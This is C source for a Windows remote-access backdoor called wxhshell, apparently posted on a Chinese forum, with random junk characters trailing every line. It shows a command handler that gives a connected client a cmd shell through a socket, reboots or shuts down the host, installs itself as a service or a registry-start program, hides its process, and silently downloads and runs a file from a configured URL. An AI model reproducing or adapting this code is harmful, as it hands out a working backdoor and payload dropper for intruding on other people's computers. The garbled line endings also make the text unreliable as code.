  // 帮助 &5;"#:ORcK  
  case '?': { A%vbhD2;W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?]5qr?W%  
    break; 4ppz,L,4  
  } @VI@fN  
  // 安装 iow"n$/  
  case 'i': { /kG_*>.Z  
    if(Install()) >mkFV@`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XP}<N&j  
    else =MWHJ'3-/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >Gu M]qn  
    break; 6~+e mlD  
    } -RLOD\ZBh  
  // 卸载 wM{s|Ay  
  case 'r': { 8,|kao:  
    if(Uninstall()) #Q5o)x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H*6W q  
    else =lSNs   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p}P-6&k,U  
    break; 1mJ Hued=6  
    } _ dg\\c  
  // 显示 wxhshell 所在路径 }2oc#0  
  case 'p': { |a@L}m  
    char svExeFile[MAX_PATH]; T{'RV0%   
    strcpy(svExeFile,"\n\r"); kT=8e;K  
      strcat(svExeFile,ExeFile); !m$jk2<  
        send(wsh,svExeFile,strlen(svExeFile),0); ULW~90  
    break; 31)&vf[[  
    } JS77M-Ac  
  // 重启 Y*hCMy;  
  case 'b': { $d4n"+7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =c7;r]Ol  
    if(Boot(REBOOT)) `mqMLo *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9u:Q,0\  
    else { `X8F`5&U\f  
    closesocket(wsh); E"0>yl)  
    ExitThread(0); Ho%CDz z  
    } $!DpjN  
    break; EK'!}OGCG  
    } ] R*A  
  // 关机 j.YA 2mr  
  case 'd': { ;d?R:Uw8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @ |r{;'  
    if(Boot(SHUTDOWN)) g .\[o@H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <vP=zk  
    else { f 1d?.)  
    closesocket(wsh); = / 8cp  
    ExitThread(0); cnLro  
    } uw7zWJ n  
    break; g=rbPbu  
    } DI%saw  
  // 获取shell YS ][n_  
  case 's': { /( LL3cZK  
    CmdShell(wsh); Y ay?=Y{  
    closesocket(wsh); (#'>(t(4  
    ExitThread(0); 5X+A"X ;C  
    break; dRDnJc3  
  } 'VbiVLWD  
  // 退出 Xeaj xcop#  
  case 'x': { `2snz1>!j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +qoRP2  
    CloseIt(wsh); he4(hX^  
    break; nrb Ok4Dz  
    } % `3jL7|  
  // 离开 ]?*wbxU0  
  case 'q': { ,s(,S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7L??ae  
    closesocket(wsh); Vc2`b3"Br  
    WSACleanup(); L$-T,Kze  
    exit(1); KSvE~h[#+  
    break; Uv.)?YeGh  
        } 3Y &d=  
  } HhpDR  
  } weQ_*<5%  
q7!{?\T%  
  // 提示信息 G9lUxmS<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6-I'>\U~  
} OnK4] S5  
  } xmG<]WF>E  
]q.0!lh+WL  
  return; q@&6#B  
} d@^ZSy>L2  
K;(mC<  
// shell模块句柄 *fdTpXa  
int CmdShell(SOCKET sock) Rv=YFo[B  
{ <UI [%yXj  
STARTUPINFO si; aYeR{Y]  
ZeroMemory(&si,sizeof(si)); [ }:$yg  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -12U4h<e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |zU-KGO&  
PROCESS_INFORMATION ProcessInfo; C}X\|J  
char cmdline[]="cmd"; :Al!1BJQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2T1q?L?]  
  return 0; #ABCDi={zA  
} Z G:{[sT  
%)|s1B'd  
// 自身启动模式 T+$[eWk"a  
int StartFromService(void) @c#(.=  
{ LLI.8kn7  
typedef struct LscGTs,  
{ edD)TpmE,  
  DWORD ExitStatus; H::bwn`Vc  
  DWORD PebBaseAddress; : DNjhZ  
  DWORD AffinityMask; i@q&5;%%  
  DWORD BasePriority; YQ} o?Q$z  
  ULONG UniqueProcessId; Q/?$x*\>  
  ULONG InheritedFromUniqueProcessId; $j~RWfw-  
}   PROCESS_BASIC_INFORMATION; }b}m3i1  
#G3<7PK  
PROCNTQSIP NtQueryInformationProcess; ]iWRo'  
zqku e%^?-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Smh,zCc>s  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 0_/[k*Re  
7=uj2.J6  
  HANDLE             hProcess; zCA2X !7F  
  PROCESS_BASIC_INFORMATION pbi; :3PH8TL  
xo)P?-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "4Nt\WQ  
  if(NULL == hInst ) return 0; xk5 ]^yDp  
5G#n"}T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CITc2v3a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,6/V" kqIP  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X2_=agEP  
`^vE9nW 7  
  if (!NtQueryInformationProcess) return 0; $qiya[&G4  
r%_djUd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wzA$'+Mb  
  if(!hProcess) return 0; ,uvRi)O>a  
wkq 66?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m 5.Zu.  
#E[0ys1O  
  CloseHandle(hProcess); x2EUr,7  
#E?4E1bnB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gi8FHSU|G  
if(hProcess==NULL) return 0; PCvWS.{  
{ax:RUQxy  
HMODULE hMod; HQ g^ h  
char procName[255]; \zY!qpX<  
unsigned long cbNeeded; dM5-;  
b 6p|q_e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hz~zu{;{J  
do%&m]#;  
  CloseHandle(hProcess); !VJoM,b8  
97]E1j]  
if(strstr(procName,"services")) return 1; // 以服务启动 +z( Lr=G  
]lbuy7xj63  
  return 0; // 注册表启动 . vV|hSc  
} 3mgD(,(^  
uD'6mk*  
// 主模块 Wri<h:1  
int StartWxhshell(LPSTR lpCmdLine) 8Wx=p#_  
{ zdYjF|  
  SOCKET wsl; \bcLiKE{  
BOOL val=TRUE; %A`+WYeuX  
  int port=0; NJ<F>3  
  struct sockaddr_in door; *VcJ= b 2Y  
~a:  
  if(wscfg.ws_autoins) Install(); rH-23S  
L_T5nD^D  
port=atoi(lpCmdLine); M-71 1|eGI  
yAt ^;  
if(port<=0) port=wscfg.ws_port; ? k/`  
Upe%rC(  
  WSADATA data; M  >u_4AY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2ESo2  
5+'<R8{:,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [WmM6UEVS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U/U);frH  
  door.sin_family = AF_INET; K-4PI+qQ\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); z_HdISy0  
  door.sin_port = htons(port); CTb%(<r  
D~m*!w*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A"]YM'.  
closesocket(wsl); vN:Ng  
return 1; Y4-t7UlS;  
} Ac@VGT:9  
3BI1fXT4=j  
  if(listen(wsl,2) == INVALID_SOCKET) { It(_v  
closesocket(wsl); V!Uc(  
return 1; V0@=^Bls  
} L0,'mS  
  Wxhshell(wsl); tw;}jh  
  WSACleanup(); S[gx{Bxiw  
f|5co>Hk  
return 0; ]Ze1s02(  
c{|p.hd  
} m0wDX*Qn  
la!~\wpa  
// 以NT服务方式启动 G{}VPcrbC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FPz9N@M%Q  
{ V gWRW7Se  
DWORD   status = 0; 1}x%%RD_  
  DWORD   specificError = 0xfffffff; !L(^(;$Kgr  
+(Ae4{z"1+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K+eM   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4(+PD&_J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z@HEj_n  
  serviceStatus.dwWin32ExitCode     = 0; B\~}3!j  
  serviceStatus.dwServiceSpecificExitCode = 0; -@'FW*b  
  serviceStatus.dwCheckPoint       = 0; ( .:e,l{U%  
  serviceStatus.dwWaitHint       = 0; pK*TE5]  
WWY6ha  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {: /}NpA$  
  if (hServiceStatusHandle==0) return; ?,z}%p  
BPrt'Nc  
status = GetLastError(); Q &8-\  
  if (status!=NO_ERROR) {7[Ox<Ho  
{ -7ep{p-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; rI\FI0zIp_  
    serviceStatus.dwCheckPoint       = 0; i-1op> Y  
    serviceStatus.dwWaitHint       = 0; MgZ/(X E  
    serviceStatus.dwWin32ExitCode     = status; 3o*YzwRt  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5P2K5,o|n~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 81F9uM0  
    return; =;L|gtH"  
  } Rq-ZL{LR7  
97Vtn4N3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0GwR~Z}Z  
  serviceStatus.dwCheckPoint       = 0; F59 TZI  
  serviceStatus.dwWaitHint       = 0; ! nx{ X  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NEs:},)o  
} P \I|,  
=pNY eR_[  
// 处理NT服务事件,比如:启动、停止 HS$r8`S?)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q.vIc ?a  
{ 4eu O1=  
switch(fdwControl) R2NZ{"h  
{ A/(a`"mK|'  
case SERVICE_CONTROL_STOP: @Qe0! (_=  
  serviceStatus.dwWin32ExitCode = 0; 7zMr:JmV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ceA9) {  
  serviceStatus.dwCheckPoint   = 0; SbZ6t$"  
  serviceStatus.dwWaitHint     = 0; f);FoVa6  
  { z?zL97H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4-w{BZuS  
  } qs6aB0ln  
  return; { w_e9Wbi  
case SERVICE_CONTROL_PAUSE: HW|IILFB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <@}9Bid!o  
  break; M|-)GvR$J  
case SERVICE_CONTROL_CONTINUE:  _F{C\}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KoYF]  
  break; }]Tx lSp!;  
case SERVICE_CONTROL_INTERROGATE: *Ex|9FCt$  
  break; sLFl!jX  
}; Efe 7gE'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *:1ey{w:  
} p_ =z#  
<3iMRe  
// 标准应用程序主函数 DIvHvFss  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J,G lIv.A  
{ 6zkaOA46V  
4Hg9N}  
// 获取操作系统版本 ^8tEach  
OsIsNt=GetOsVer(); 3 $w65=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m|# y >4  
PH"%kCI:  
  // 从命令行安装 E]6 6]+;0_  
  if(strpbrk(lpCmdLine,"iI")) Install(); .hiSw  
b -y  
  // 下载执行文件 wBzC5T%,  
if(wscfg.ws_downexe) { AGno6g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wzaV;ac4K  
  WinExec(wscfg.ws_filenam,SW_HIDE); B *vM0  
} hph4`{T  
A >$I -T+  
if(!OsIsNt) { M2|is ~  
// 如果时win9x,隐藏进程并且设置为注册表启动 \9d$@V  
HideProc(); x"(KBEK~  
StartWxhshell(lpCmdLine); %SI'BJ  
} E9}C  #  
else DJir{ \F  
  if(StartFromService()) ;=@0'xPEa-  
  // 以服务方式启动 mq[ug>  
  StartServiceCtrlDispatcher(DispatchTable); vy/-wP|1  
else F/Pep?'  
  // 普通方式启动 aT<q=DO  
  StartWxhshell(lpCmdLine); :KN-F86i  
_6Ha  
return 0; J;%Xfx]  
}
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只看该作者 1 发表于: 2006-10-10
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